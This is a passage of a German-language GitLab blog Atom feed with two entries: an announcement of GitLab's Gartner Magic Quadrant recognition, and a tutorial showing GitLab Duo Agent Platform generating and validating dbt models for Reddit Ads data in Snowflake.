<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <id>https://about.gitlab.com/blog</id>
    <title>GitLab</title>
    <updated>2025-09-22T06:13:03.320Z</updated>
    <generator>https://github.com/jpmonette/feed</generator>
    <author>
        <name>The GitLab Team</name>
    </author>
    <link rel="alternate" href="https://about.gitlab.com/blog"/>
    <link rel="self" href="https://about.gitlab.com/de-de/atom.xml"/>
    <subtitle>GitLab Blog RSS feed</subtitle>
    <icon>https://about.gitlab.com/favicon.ico</icon>
    <rights>All rights reserved 2025</rights>
    <entry>
        <title type="html"><![CDATA[GitLab als Leader im 2025 Gartner Magic Quadrant für AI Code Assistants ausgezeichnet]]></title>
        <id>https://about.gitlab.com/de-de/blog/gitlab-named-a-leader-in-the-2025-gartner-magic-quadrant-for-ai-code-assistants/</id>
        <link href="https://about.gitlab.com/de-de/blog/gitlab-named-a-leader-in-the-2025-gartner-magic-quadrant-for-ai-code-assistants/"/>
        <updated>2025-09-17T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>GitLab wurde zum zweiten Mal als Leader im 2025 Gartner® Magic Quadrant™ für AI Code Assistants ausgezeichnet. Diese Anerkennung bestätigt einen zentralen Pfeiler unserer umfassenden KI-Strategie: Die Evolution von intelligenter Code-Unterstützung zu einer ganzheitlichen KI, die die Art und Weise transformiert, wie Teams Software planen, entwickeln, sichern und bereitstellen. <a href="https://res.cloudinary.com/about-gitlab-com/image/upload/v1758121248/jfkmhddve6qvlg79xico.png">2025 Gartner® Magic Quadrant™ für AI Code Assistants</a></p>
<blockquote>
<p><a href="https://about.gitlab.com/de-de/gartner-mq-ai-code-assistants/">Report herunterladen.</a></p>
</blockquote>
<h2>Von KI-Funktionen zu intelligenter Zusammenarbeit</h2>
<p>Die Gartner-Evaluierung konzentrierte sich unserer Ansicht nach auf die generativen KI-Code-Assistenz-Funktionen von GitLab Duo. Während GitLab Duo als KI-Add-on zur GitLab DevSecOps-Plattform begann, legte es den Grundstein für unsere heutige Entwicklung: Agentic AI, die nativ in die GitLab DevSecOps-Plattform integriert ist.</p>
<p>Die GitLab Duo Agent Platform ermöglicht es Entwicklern, gemeinsam mit mehreren KI-Agenten zu arbeiten, die Aufgaben über den gesamten Software-Lebenszyklus automatisieren. Agenten kollaborieren miteinander und mit Menschen und nutzen dabei GitLabs Knowledge Graph, um mit vollständigem Projektkontext zu agieren. Dies befähigt Teams, schneller zu arbeiten und gleichzeitig Transparenz und Kontrolle zu bewahren.</p>
<ul>
<li>
<p><strong>Spezialisierte Agenten</strong> übernehmen parallel Aufgaben wie Code-Generierung, Sicherheitsanalyse und Research.</p>
</li>
<li>
<p><strong>Knowledge Graph</strong> verbindet Agenten mit einem einheitlichen System of Record über Code, Issues, Pipelines und Compliance-Daten.</p>
</li>
<li>
<p><strong>Mensch + Agent Kollaboration</strong> erfolgt über natürlichsprachlichen Chat und anpassbare Workflows mit integrierter Überprüfung und Kontrolle.</p>
</li>
<li>
<p><strong>Interoperabilität mit externen Tools und Systemen</strong> wird durch Model Context Protocol (MCP) und Agent-zu-Agent-Frameworks unterstützt.</p>
</li>
</ul>
<p>Wenn Agenten Routinearbeiten unter menschlicher Anleitung übernehmen, können Teams schneller arbeiten, sich auf wertvollere Aufgaben konzentrieren und Projekte sicher sowie compliant halten.</p>
<h2>Sicher by Design, flexibel in der Praxis</h2>
<p>Die GitLab Duo Agent Platform wurde entwickelt, um Sicherheit und Compliance in den Mittelpunkt zu stellen. Agenten laufen innerhalb von GitLabs vertrauenswürdiger DevSecOps-Umgebung, wobei jede Aktion sichtbar und überprüfbar ist, bevor Änderungen vorgenommen werden. Sichere Integrationen stellen sicher, dass Credentials und sensible Daten geschützt verarbeitet werden, während Interoperabilität durch offene Standards Agenten mit externen Tools verbindet, ohne das Unternehmen Risiken auszusetzen.</p>
<p>Die Plattform gibt Teams die Gewissheit, dass KI die Produktivität steigert, ohne die Governance zu kompromittieren. So funktioniert es:</p>
<ul>
<li>
<p><strong>Entwickler</strong> können sich auf komplexe, wirkungsvolle Arbeit konzentrieren, während sie Routineaufgaben an Agenten delegieren – für schnellere Ergebnisse und detaillierteren Kontext, der über ihre bestehenden Workflows bereitgestellt wird.</p>
</li>
<li>
<p><strong>Engineering-Führungskräfte</strong> erhalten Einblick in die Bewegung der Arbeit über den Lebenszyklus, wobei Agenten innerhalb klarer Leitplanken operieren. Sie können zudem sicherstellen, dass ihre Teams auf Prioritäten ausgerichtet bleiben und das Onboarding durch Agent-gestützte Kontexte und Workflows vereinfachen.</p>
</li>
<li>
<p><strong>IT-Organisationen</strong> behalten die Kontrolle über Agent-Aktivitäten mit Governance-Funktionen, die Coding- und Sicherheitsrichtlinien durchsetzen, Modellauswahlflexibilität bieten und sichere Interoperabilität gewährleisten – alles bei kontinuierlicher menschlicher Kontrolle.</p>
</li>
</ul>
<h2>Führend beim Übergang zur KI-nativen Entwicklung</h2>
<p>GitLab baut weiterhin auf der Vision auf, die mit Duo begann, und wird die GitLab Duo Agent Platform kontinuierlich mit neuen Agenten, erweiterten Workflows und mehr Orchestrierungsfunktionen ausbauen. Dieses Engagement für Innovation stellt sicher, dass Sie die Produktivität Ihres Teams auf der Plattform steigern können, der Sie vertrauen. Bleiben Sie gespannt auf spannende Updates zu unserer Roadmap, während wir weiterhin KI-native DevSecOps revolutionieren.</p>
<blockquote>
<p><a href="https://about.gitlab.com/de-de/gartner-mq-ai-code-assistants/">Den 2025 Gartner® Magic Quadrant™ für AI Code Assistants herunterladen</a> und <a href="https://about.gitlab.com/de-de/gitlab-duo/agent-platform/">GitLab Duo Agent Platform heute ausprobieren</a>.</p>
</blockquote>
<p><em>Quelle: Gartner, Magic Quadrant for AI Code Assistants, Philip Walsh, Haritha Khandabattu, Matt Brasier, Keith Holloway, Arun Batchu, 15. September 2025</em></p>
<p><em>GARTNER ist eine eingetragene Marke und Dienstleistungsmarke von Gartner, Inc. und/oder seinen Tochtergesellschaften in den USA und international, und MAGIC QUADRANT ist eine eingetragene Marke von Gartner, Inc. und/oder seinen Tochtergesellschaften und wird hier mit Genehmigung verwendet. Alle Rechte vorbehalten.</em></p>
<p><em>Gartner unterstützt keinen Anbieter, kein Produkt oder keine Dienstleistung, die in seinen Forschungspublikationen dargestellt werden, und rät Technologieanwendern nicht, nur die Anbieter mit den höchsten Bewertungen oder anderen Auszeichnungen auszuwählen. Gartner-Forschungspublikationen bestehen aus den Meinungen der Gartner-Forschungsorganisation und sollten nicht als Tatsachenbehauptungen ausgelegt werden. Gartner lehnt alle ausdrücklichen oder stillschweigenden Garantien in Bezug auf diese Forschung ab, einschließlich aller Garantien der Marktgängigkeit oder Eignung für einen bestimmten Zweck.</em></p>
<p><em>Diese Grafik wurde von Gartner Inc. als Teil eines größeren Berichts veröffentlicht und sollte im Kontext des gesamten Dokuments bewertet werden. Das Gartner-Dokument ist auf Anfrage von Gartner B.V. erhältlich.</em></p>
]]></content>
        <author>
            <name>Manav Khurana</name>
            <uri>https://about.gitlab.com/blog/authors/manav-khurana</uri>
        </author>
        <published>2025-09-17T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Wie du mit der GitLab Duo Agent Platform deine DataOps transformiert]]></title>
        <id>https://about.gitlab.com/de-de/blog/how-gitlab-duo-agent-platform-transforms-dataops/</id>
        <link href="https://about.gitlab.com/de-de/blog/how-gitlab-duo-agent-platform-transforms-dataops/"/>
        <updated>2025-09-16T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Die manuelle Erstellung von dbt-Modellen ist ein mühsamer Prozess, der
Stunden an Arbeitszeit verschlingt. Besonders wenn keine (größeren)
Geschäftstransformationen vorgenommen werden, gehört diese Aufgabe nicht zu
den attraktivsten Tätigkeiten eines Dateningenieurs.</p>
<p>Aber was wäre, wenn du diesen gesamten Prozess automatisieren könntest? In dieser Anleitung zeige ich dir genau, wie <a href="https://about.gitlab.com/de-de/gitlab-duo/agent-platform/">GitLab Duo Agent Platform</a> umfassende dbt-Modelle in nur wenigen Minuten generiert – komplett mit ordnungsgemäßer Struktur, Tests und Dokumentation.</p>
<h2>Was wir aufbauen</h2>
<p>Unser Marketing-Team möchte Werbeinvestitionen effektiv verwalten und optimieren. Eine der Werbeplattformen ist Reddit, daher extrahieren wir Daten von der Reddit Ads API in unsere unternehmensweite <a href="https://handbook.gitlab.com/handbook/enterprise-data/platform/">Datenplattform</a> Snowflake. Bei GitLab haben wir drei Speicherebenen:</p>
<ol>
<li>
<p><code>raw</code>-Ebene – erster Landepunkt für unverarbeitete Daten aus externen Quellen; noch nicht für geschäftliche Nutzung bereit</p>
</li>
<li>
<p><code>prep</code>-Ebene – erste Transformationsebene mit Quellmodellen; noch nicht für allgemeine geschäftliche Nutzung bereit</p>
</li>
<li>
<p><code>prod</code>-Ebene – final transformierte Daten, bereit für geschäftliche Nutzung und Tableau-Berichte</p>
</li>
</ol>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1758030995/zo7vespktzfdtdtiauz7.png" alt="Diagramm der Speicherebenen"></p>
<p>Für diese Anleitung sind die Daten bereits durch unsere Extraktionslösung Fivetran in der raw-Ebene gelandet, und wir werden dbt-Modelle generieren, die die Daten von der <code>prep</code>-Ebene zur <code>prod</code>-Ebene verarbeiten.</p>
<p>Ohne eine einzige Zeile dbt-Code selbst schreiben zu müssen, werden wir am Ende der Anleitung Folgendes haben:</p>
<ul>
<li>
<p><strong>Quellmodelle</strong> in der prep-Ebene</p>
</li>
<li>
<p><strong>Workspace-Modelle</strong> in der prod-Ebene</p>
</li>
<li>
<p><strong>Vollständige dbt-Konfigurationen</strong> für alle 13 Tabellen (einschließlich 112 Spalten) im Reddit Ads-Datensatz</p>
</li>
<li>
<p><strong>Test-Abfragen</strong> zur Validierung der Ergebnisse</p>
</li>
</ul>
<p>Der gesamte Prozess dauert weniger als 10 Minuten – im Vergleich zu den Stunden, die normalerweise dafür benötigt würden. Hier sind die zu befolgenden Schritte:</p>
<h2>1. Die Datenstruktur vorbereiten</h2>
<p>Bevor GitLab Duo unsere Modelle generieren kann, muss es die vollständige Tabellenstruktur verstehen. Der Schlüssel liegt darin, eine Abfrage gegen Snowflakes Informationsschema auszuführen, da wir derzeit untersuchen, wie wir GitLab Duo über das Model Context Protocol (<a href="https://about.gitlab.com/topics/ai/model-context-protocol/">MCP</a>) mit unserer Snowflake-Instanz verbinden können:</p>
<pre><code class="language-sql">
SELECT 
    table_name,
    column_name,
    data_type,
    is_nullable,
    CASE 
        WHEN is_nullable = 'NO' THEN 'PRIMARY_KEY'
        ELSE NULL 
    END as key_type
FROM raw.information_schema.columns

WHERE table_schema = 'REDDIT_ADS'

ORDER BY table_name, ordinal_position;

</code></pre>
<p>Diese Abfrage erfasst:</p>
<ul>
<li>
<p>Alle Tabellen- und Spaltennamen</p>
</li>
<li>
<p>Datentypen für die korrekte Modellstruktur</p>
</li>
<li>
<p>Nullable-Einschränkungen</p>
</li>
<li>
<p>Primärschlüssel-Identifikation (nicht-nullable Spalten in diesem Datensatz)</p>
</li>
</ul>
<p><strong>Profi-Tipp:</strong> Im Reddit Ads-Datensatz dienen alle nicht-nullable Spalten als Primärschlüssel – ein Muster. Ich habe dies überprüft, indem ich Tabellen wie <code>ad_group</code> kontrollierte, die zwei nicht-nullable Spalten (<code>account_id</code> und <code>id</code>) hat, die beide als Primärschlüssel markiert sind. Die Ausführung dieser Abfrage lieferte 112 Zeilen Metadaten, die ich als CSV-Datei für die Modellgenerierung exportierte. Während dieser manuelle Schritt heute gut funktioniert, untersuchen wir eine direkte Integration von GitLab Duo mit unserer Datenplattform über MCP, um diesen Prozess vollständig zu automatisieren.</p>
<h2>2. GitLab Duo einrichten</h2>
<p>Es gibt zwei Möglichkeiten, mit <a href="https://docs.gitlab.com/user/get_started/getting_started_gitlab_duo/">GitLab Duo</a> zu interagieren:</p>
<ol>
<li>
<p><strong>Web-UI-Chat-Funktion</strong></p>
</li>
<li>
<p><strong>Visual Studio Code-Plugin</strong></p>
</li>
</ol>
<p>Ich habe mich für das VS Code-Plugin entschieden, da ich die dbt-Modelle lokal ausführen kann, um sie zu testen.</p>
<h2>3. Den 'magischen' Prompt eingeben</h2>
<p>Hier ist der exakte Prompt, den ich zur Generierung des gesamten dbt-Codes verwendet habe:</p>
<pre><code class="language-yaml">
Create dbt models for all the tables in the file structure.csv.


I want to have the source models created, with a filter that dedupes the data based on the primary key. Create these in a new folder reddit_ads.

I want to have workspace models created and store these in the workspace_marketing schema.


Take this MR as example: [I've referenced to previous source implementation]. Here is the same done for Source A, but now it needs to be done for Reddit Ads. 


Please check the dbt style guide when creating the code: https://handbook.gitlab.com/handbook/enterprise-data/platform/dbt-guide/

</code></pre>
<p>Schlüsselelemente, die diesen Prompt effektiv machten:</p>
<ul>
<li>
<p><strong>Klare Spezifikationen</strong> für sowohl Quell- als auch Workspace-Modelle</p>
</li>
<li>
<p><strong>Referenzbeispiel</strong> aus einem vorherigen ähnlichen Merge Request</p>
</li>
<li>
<p><strong>Style Guide-Referenz</strong> zur Sicherstellung von Codequalität und Konsistenz</p>
</li>
<li>
<p><strong>Spezifisches Schema-Targeting</strong> für ordnungsgemäße Organisation</p>
</li>
</ul>
<h2>4. GitLab Duos Prozess</h2>
<p>Nach dem Einreichen des Prompts machte sich GitLab Duo an die Arbeit. Der gesamte Generierungsprozess dauerte einige Minuten, während dessen GitLab Duo:</p>
<ol>
<li>
<p><strong>Die CSV-Eingabedatei las und analysierte</strong></p>
</li>
<li>
<p><strong>Tabellenstrukturen aus den Metadaten untersuchte</strong></p>
</li>
<li>
<p><strong>Unseren dbt-Style-Guide als Referenz für Coding-Standards nutzte</strong></p>
</li>
<li>
<p><strong>Ähnliche Merge Requests berücksichtigte</strong> für die korrekte Strukturierung</p>
</li>
<li>
<p><strong>Quellmodelle für alle 13 Tabellen generierte</strong></p>
</li>
<li>
<p><strong>Workspace-Modelle für alle 13 Tabellen erstellte</strong></p>
</li>
<li>
<p><strong>Unterstützende dbt-Dateien generierte</strong>:</p>
<ul>
<li><code>sources.yml</code>-Konfiguration</li>
<li><code>schema.yml</code>-Dateien mit Tests und Dokumentation</li>
<li>Aktualisierte <code>dbt_project.yml</code> mit Schema-Referenzen</li>
</ul>
</li>
</ol>
<h2>Die Ergebnisse</h2>
<p>Die Ausgabe war bemerkenswert:</p>
<ul>
<li>
<p><strong>1 modifizierte Datei:</strong> dbt_project.yml (reddit_ads Schema-Konfiguration hinzugefügt)</p>
</li>
<li>
<p><strong>29 neue Dateien:</strong></p>
<ul>
<li><strong>26 dbt-Modelle</strong> (13 Quell- + 13 Workspace-Modelle)</li>
<li><strong>3 YAML-Dateien</strong></li>
</ul>
</li>
<li>
<p><strong>Fast 900 Zeilen Code</strong> automatisch generiert</p>
</li>
<li>
<p><strong>Integrierte Daten-Tests,</strong> einschließlich Unique-Constraints auf Primärschlüssel-Spalten</p>
</li>
<li>
<p><strong>Generische Beschreibungen</strong> für alle Modelle und Spalten</p>
</li>
<li>
<p><strong>Saubere Deduplizierungs-Logik</strong> in Quellmodellen</p>
</li>
<li>
<p><strong>Saubere, konsistente Code-Struktur</strong> gemäß dem GitLab dbt-Style-Guide</p>
</li>
</ul>
<pre><code class="language-yaml">
transform/snowflake-dbt/

├── dbt_project.yml                                                    [MODIFIZIERT]

└── models/
    ├── sources/
    │   └── reddit_ads/
    │       ├── reddit_ads_ad_group_source.sql                        [NEU]
    │       ├── reddit_ads_ad_source.sql                              [NEU]
    │       ├── reddit_ads_business_account_source.sql                [NEU]
    │       ├── reddit_ads_campaign_source.sql                        [NEU]
    │       ├── reddit_ads_custom_audience_history_source.sql         [NEU]
    │       ├── reddit_ads_geolocation_source.sql                     [NEU]
    │       ├── reddit_ads_interest_source.sql                        [NEU]
    │       ├── reddit_ads_targeting_community_source.sql             [NEU]
    │       ├── reddit_ads_targeting_custom_audience_source.sql       [NEU]
    │       ├── reddit_ads_targeting_device_source.sql                [NEU]
    │       ├── reddit_ads_targeting_geolocation_source.sql           [NEU]
    │       ├── reddit_ads_targeting_interest_source.sql              [NEU]
    │       ├── reddit_ads_time_zone_source.sql                       [NEU]
    │       ├── schema.yml                                            [NEU]
    │       └── sources.yml                                           [NEU]
    └── workspaces/
        └── workspace_marketing/
            └── reddit_ads/
                ├── schema.yml                                        [NEU]
                ├── wk_reddit_ads_ad.sql                              [NEU]
                ├── wk_reddit_ads_ad_group.sql                        [NEU]
                ├── wk_reddit_ads_business_account.sql                [NEU]
                ├── wk_reddit_ads_campaign.sql                        [NEU]
                ├── wk_reddit_ads_custom_audience_history.sql         [NEU]
                ├── wk_reddit_ads_geolocation.sql                     [NEU]
                ├── wk_reddit_ads_interest.sql                        [NEU]
                ├── wk_reddit_ads_targeting_community.sql             [NEU]
                ├── wk_reddit_ads_targeting_custom_audience.sql       [NEU]
                ├── wk_reddit_ads_targeting_device.sql                [NEU]
                ├── wk_reddit_ads_targeting_geolocation.sql           [NEU]
                ├── wk_reddit_ads_targeting_interest.sql              [NEU]
                └── wk_reddit_ads_time_zone.sql                       [NEU]
</code></pre>
<h3>Beispiel des generierten Codes</h3>
<p>Hier ist ein Beispiel für die Qualität des generierten Codes. Für die <code>time_zone</code>-Tabelle erstellte GitLab Duo:</p>
<p><strong>Prep-Ebene Quellmodell</strong></p>
<pre><code class="language-sql">
WITH source AS (
  SELECT *
  FROM {{ source('reddit_ads','time_zone') }}
  QUALIFY ROW_NUMBER() OVER (PARTITION BY id ORDER BY _fivetran_synced DESC) = 1
),


renamed AS (
  SELECT
    id::VARCHAR                               AS time_zone_id,
    code::VARCHAR                             AS time_zone_code,
    dst_offset::NUMBER                        AS time_zone_dst_offset,
    is_dst_active::BOOLEAN                    AS is_time_zone_dst_active,
    name::VARCHAR                             AS time_zone_name,
    offset::NUMBER                            AS time_zone_offset,
    _fivetran_synced::TIMESTAMP               AS fivetran_synced_at
  FROM source
)


SELECT * FROM renamed

</code></pre>
<p><strong>Schema.yml</strong></p>
<pre><code class="language-yaml">
models:
  - name: reddit_ads_time_zone_source
    description: Zeitzonendaten aus dem Reddit Ads-System
    columns:
      - name: time_zone_id
        description: Eindeutige Kennung für Zeitzoneneinträge
        data_tests:
          - unique
          - not_null
      - name: time_zone_code
        description: Code für die Zeitzone
      - name: time_zone_dst_offset
        description: Sommerzeitverschiebung für die Zeitzone
      - name: is_time_zone_dst_active
        description: Flag, das angibt, ob Sommerzeit aktiv ist
      - name: time_zone_name
        description: Name der Zeitzone
      - name: time_zone_offset
        description: Verschiebung für die Zeitzone
      - name: fivetran_synced_at
        description: Zeitstempel, wann der Datensatz zuletzt von Fivetran synchronisiert wurde
</code></pre>
<p><strong>Source.yml</strong></p>
<pre><code class="language-yaml">
sources:
  - name: reddit_ads
    database: RAW
    schema: reddit_ads
    loaded_at_field: _fivetran_synced
    loader: fivetran
    description: Reddit Ads-Daten

    quoting:
      database: true
      schema: false
      identifier: false

    tables:
      - name: time_zone
</code></pre>
<p><strong>Workspace-Modell</strong></p>
<pre><code class="language-sql">
WITH source AS (
  SELECT *
  FROM {{ ref('reddit_ads_time_zone_source') }}
)


SELECT * FROM source

</code></pre>
<h2>5. Qualitätsvalidierung</h2>
<p>Nachdem der Code gut aussah, habe ich ihn zum MR gepusht und die <a href="https://handbook.gitlab.com/handbook/enterprise-data/platform/ci-jobs/#build_changes">CI-Test-Pipeline</a> ausgeführt, um den Code zu testen und das Ergebnis zu validieren. Ich bat GitLab Duo, eine Validierungsabfrage zu erstellen:</p>
<pre><code class="language-yaml">
Create a test query to test the row counts between the raw layer and the workspace layer. Keep in mind that we do deduplication, so we can compare both using distinct on the primary keys.

</code></pre>
<p>Die KI generierte eine umfassende Validierungsabfrage, die:</p>
<ul>
<li>
<p>Zeilenanzahlen zwischen raw- und workspace-Ebenen verglich</p>
</li>
<li>
<p>Die Deduplizierungs-Logik berücksichtigte</p>
</li>
<li>
<p>Alle 13 Tabellen testete</p>
</li>
<li>
<p>Datenerhaltungsprozentsätze berechnete</p>
</li>
</ul>
<p>&lt;details&gt;</p>
<p>&lt;summary&gt;Generierte SQL-Test-Abfrage&lt;/summary&gt;</p>
<pre><code class="language-sql">
-- Reddit Ads Zeilenanzahl-Validierungstest

-- Vergleicht eindeutige Zählungen zwischen RAW-Ebene und WORKSPACE_MARKETING-Ebene

-- Berücksichtigt Deduplizierungs-Logik in Quellmodellen


WITH raw_counts AS (
  -- Tabellen mit einzelnem Primärschlüssel
  SELECT 'ad' AS table_name, COUNT(DISTINCT id) AS raw_count
  FROM RAW.REDDIT_ADS.AD
  
  UNION ALL
  
  SELECT 'business_account' AS table_name, COUNT(DISTINCT id) AS raw_count
  FROM RAW.REDDIT_ADS.BUSINESS_ACCOUNT
  
  UNION ALL
  
  SELECT 'campaign' AS table_name, COUNT(DISTINCT id) AS raw_count
  FROM RAW.REDDIT_ADS.CAMPAIGN
  
  UNION ALL
  
  SELECT 'custom_audience_history' AS table_name, COUNT(DISTINCT id) AS raw_count
  FROM RAW.REDDIT_ADS.CUSTOM_AUDIENCE_HISTORY
  
  UNION ALL
  
  SELECT 'geolocation' AS table_name, COUNT(DISTINCT id) AS raw_count
  FROM RAW.REDDIT_ADS.GEOLOCATION
  
  UNION ALL
  
  SELECT 'interest' AS table_name, COUNT(DISTINCT id) AS raw_count
  FROM RAW.REDDIT_ADS.INTEREST
  
  UNION ALL
  
  SELECT 'time_zone' AS table_name, COUNT(DISTINCT id) AS raw_count
  FROM RAW.REDDIT_ADS.TIME_ZONE
  
  -- Tabellen mit zusammengesetzten Primärschlüsseln
  UNION ALL
  
  SELECT 'ad_group' AS table_name, COUNT(DISTINCT CONCAT(account_id, '|', id)) AS raw_count
  FROM RAW.REDDIT_ADS.AD_GROUP
  
  UNION ALL
  
  SELECT 'targeting_community' AS table_name, COUNT(DISTINCT CONCAT(ad_group_id, '|', community_id)) AS raw_count
  FROM RAW.REDDIT_ADS.TARGETING_COMMUNITY
  
  UNION ALL
  
  SELECT 'targeting_custom_audience' AS table_name, COUNT(DISTINCT CONCAT(ad_group_id, '|', custom_audience_id)) AS raw_count
  FROM RAW.REDDIT_ADS.TARGETING_CUSTOM_AUDIENCE
  
  UNION ALL
  
  SELECT 'targeting_device' AS table_name, COUNT(DISTINCT _fivetran_id) AS raw_count
  FROM RAW.REDDIT_ADS.TARGETING_DEVICE
  
  UNION ALL
  
  SELECT 'targeting_geolocation' AS table_name, COUNT(DISTINCT CONCAT(ad_group_id, '|', geolocation_id)) AS raw_count
  FROM RAW.REDDIT_ADS.TARGETING_GEOLOCATION
  
  UNION ALL
  
  SELECT 'targeting_interest' AS table_name, COUNT(DISTINCT CONCAT(ad_group_id, '|', interest_id)) AS raw_count
  FROM RAW.REDDIT_ADS.TARGETING_INTEREST
),


workspace_counts AS (
  -- Workspace-Ebene zählt unter Verwendung von Primärschlüsseln aus schema.yml
  SELECT 'ad' AS table_name, COUNT(DISTINCT ad_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_AD
  
  UNION ALL
  
  SELECT 'business_account' AS table_name, COUNT(DISTINCT business_account_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_BUSINESS_ACCOUNT
  
  UNION ALL
  
  SELECT 'campaign' AS table_name, COUNT(DISTINCT campaign_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_CAMPAIGN
  
  UNION ALL
  
  SELECT 'custom_audience_history' AS table_name, COUNT(DISTINCT custom_audience_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_CUSTOM_AUDIENCE_HISTORY
  
  UNION ALL
  
  SELECT 'geolocation' AS table_name, COUNT(DISTINCT geolocation_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_GEOLOCATION
  
  UNION ALL
  
  SELECT 'interest' AS table_name, COUNT(DISTINCT interest_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_INTEREST
  
  UNION ALL
  
  SELECT 'time_zone' AS table_name, COUNT(DISTINCT time_zone_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TIME_ZONE
  
  -- Tabellen mit zusammengesetzten Primärschlüsseln
  UNION ALL
  
  SELECT 'ad_group' AS table_name, COUNT(DISTINCT CONCAT(ad_group_account_id, '|', ad_group_id)) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_AD_GROUP
  
  UNION ALL
  
  SELECT 'targeting_community' AS table_name, COUNT(DISTINCT CONCAT(targeting_community_ad_group_id, '|', targeting_community_id)) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_COMMUNITY
  
  UNION ALL
  
  SELECT 'targeting_custom_audience' AS table_name, COUNT(DISTINCT CONCAT(targeting_custom_audience_ad_group_id, '|', targeting_custom_audience_id)) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_CUSTOM_AUDIENCE
  
  UNION ALL
  
  SELECT 'targeting_device' AS table_name, COUNT(DISTINCT targeting_device_fivetran_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_DEVICE
  
  UNION ALL
  
  SELECT 'targeting_geolocation' AS table_name, COUNT(DISTINCT CONCAT(targeting_geolocation_ad_group_id, '|', targeting_geolocation_id)) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_GEOLOCATION
  
  UNION ALL
  
  SELECT 'targeting_interest' AS table_name, COUNT(DISTINCT CONCAT(targeting_interest_ad_group_id, '|', targeting_interest_id)) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_INTEREST
)


-- Abschließender Vergleich mit Validierungsergebnissen

SELECT 
  r.table_name,
  r.raw_count,
  w.workspace_count,
  r.raw_count - w.workspace_count AS count_difference,
  CASE 
    WHEN r.raw_count = w.workspace_count THEN '✅ BESTANDEN'
    WHEN r.raw_count &gt; w.workspace_count THEN '⚠️ RAW &gt; WORKSPACE (Erwartet durch Deduplizierung)'
    ELSE '❌ FEHLGESCHLAGEN - WORKSPACE &gt; RAW (Unerwartet)'
  END AS validation_status,
  ROUND((w.workspace_count::FLOAT / r.raw_count::FLOAT) * 100, 2) AS data_retention_percentage
FROM raw_counts r

JOIN workspace_counts w ON r.table_name = w.table_name

ORDER BY r.table_name;

</code></pre>
<p>&lt;/details&gt;</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1758030995/guicjhzwvrz3czwjs3xo.png" alt="Tabelle mit Abfrageergebnissen"></p>
<p>Die Ausführung dieser Abfrage zeigte:</p>
<ul>
<li>
<p><strong>Null Unterschiede</strong> in der Zeilenanzahl nach Deduplizierung</p>
</li>
<li>
<p><strong>100% Datenerhaltung</strong> über alle Tabellen hinweg</p>
</li>
<li>
<p><strong>Alle Tests erfolgreich bestanden</strong></p>
</li>
</ul>
<h2>Das Fazit: Massive Zeitersparnis</h2>
<ul>
<li>
<p><strong>Traditioneller Ansatz:</strong> 6-8 Stunden manuelles Programmieren, Testen und Debugging</p>
</li>
<li>
<p><strong>GitLab Duo-Ansatz:</strong> 6-8 Minuten Generierung + Überprüfungszeit</p>
</li>
</ul>
<p>Dies bedeutet eine 60-fache Verbesserung der Entwicklereffizienz (von 6-8 Stunden auf 6-8 Minuten) bei gleichbleibend hoher Codequalität.</p>
<h2>Best Practices für den Erfolg</h2>
<p>Basierend auf dieser Erfahrung sind hier die wichtigsten Empfehlungen:</p>
<h3>Bereite deine Metadaten vor</h3>
<ul>
<li>
<p>Extrahiere vollständige Tabellenstrukturen einschließlich Datentypen und Einschränkungen</p>
</li>
<li>
<p>Identifiziere Primärschlüssel und Beziehungen im Voraus</p>
</li>
<li>
<p>Exportiere saubere, gut formatierte CSV-Eingabedateien</p>
</li>
</ul>
<p><strong>Hinweis:</strong> Durch die Verbindung von GitLab Duo über MCP mit deinen (Meta-)Daten könntest du diesen manuellen Schritt ausschließen.</p>
<h3>Biete klaren Kontext</h3>
<ul>
<li>
<p>Referenziere nach Möglichkeit bestehende Beispiel-MRs</p>
</li>
<li>
<p>Spezifiziere deine Codierungsstandards und Style Guides</p>
</li>
<li>
<p>Sei explizit bei Ordnerstruktur und Namenskonventionen</p>
</li>
</ul>
<h3>Validiere gründlich</h3>
<ul>
<li>
<p>Erstelle immer Validierungsabfragen für die Datenintegrität</p>
</li>
<li>
<p>Teste lokal vor dem Mergen</p>
</li>
<li>
<p>Führe deine CI/CD-Pipeline aus, um Probleme zu erkennen</p>
</li>
</ul>
<h3>Nutze KI für Folgeaufgaben</h3>
<ul>
<li>
<p>Generiere Testabfragen automatisch</p>
</li>
<li>
<p>Erstelle Dokumentationsvorlagen</p>
</li>
<li>
<p>Baue Validierungsskripte</p>
</li>
</ul>
<h2>Was kommt als Nächstes</h2>
